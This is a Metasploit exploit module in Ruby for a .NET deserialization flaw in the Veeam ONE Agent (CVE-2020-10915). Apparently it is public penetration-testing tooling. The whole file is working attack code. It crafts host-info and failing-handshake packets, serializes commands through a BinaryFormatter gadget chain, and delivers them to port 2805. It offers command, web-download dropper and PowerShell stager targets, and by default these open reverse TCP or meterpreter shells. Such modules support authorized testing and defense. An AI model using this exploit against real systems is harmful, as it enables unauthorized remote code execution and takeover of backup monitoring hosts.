##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veeam ONE Agent .NET Deserialization',
'Description' => %q{
This module exploits a .NET deserialization vulnerability in the Veeam
ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the
9 and 10 release lines.
Specifically, the module targets the HandshakeResult() method used by
the Agent. By inducing a failure in the handshake, the Agent will
deserialize untrusted data.
Tested against the pre-patched release of 10.0.0.750. Note that Veeam
continues to distribute this version but with the patch pre-applied.
},
'Author' => [
'Michael Zanetta', # Discovery
'Edgar Boda-Majer', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10914'],
['CVE', '2020-10915'], # This module
['ZDI', '20-545'],
['ZDI', '20-546'], # This module
['URL', 'https://www.veeam.com/kb3144']
],
'DisclosureDate' => '2020-04-15', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill?
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(2805),
OptString.new(
'HOSTINFO_NAME',
[
true,
'Name to send in host info (must be recognized by server!)',
'AgentController'
]
)
])
end
def check
vprint_status("Checking connection to #{peer}")
connect
CheckCode::Detected("Connected to #{peer}.")
rescue Rex::ConnectionError => e
CheckCode::Unknown("#{e.class}: #{e.message}")
ensure
disconnect
end
def exploit
print_status("Connecting to #{peer}")
connect
print_status("Sending host info to #{peer}")
sock.put(host_info(datastore['HOSTINFO_NAME']))
res = sock.get_once
vprint_good("<-- Host info reply: #{res.inspect}") if res
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
# TODO: Create an option to execute the full stager without hacking
# :linemax or calling execute_command(generate_cmdstager(...).join(...))
execute_cmdstager(
flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0
linemax: 9001 # It's over 9000
)
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
ensure
disconnect
end
def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")
serialized_payload = Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter # This is _exactly_ what we need
)
print_status("Sending malicious handshake to #{peer}")
sock.put(handshake(serialized_payload))
res = sock.get_once
vprint_good("<-- Handshake reply: #{res.inspect}") if res
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def host_info(name)
meta = [0x0205].pack('v')
packed_name = [name.length].pack('C') + name
pkt = meta + packed_name
vprint_good("--> Host info packet: #{pkt.inspect}")
pkt
end
def handshake(serialized_payload)
# A -1 status indicates a failure, which will trigger the deserialization
status = [-1].pack('l<')
length = status.length + serialized_payload.length
type = 7
attrs = 1
kontext = 0
header = [length, type, attrs, kontext].pack('VvVV')
padding = "\x00" * 18
result = status + serialized_payload
pkt = header + padding + result
vprint_good("--> Handshake packet: #{pkt.inspect}")
pkt
end
end
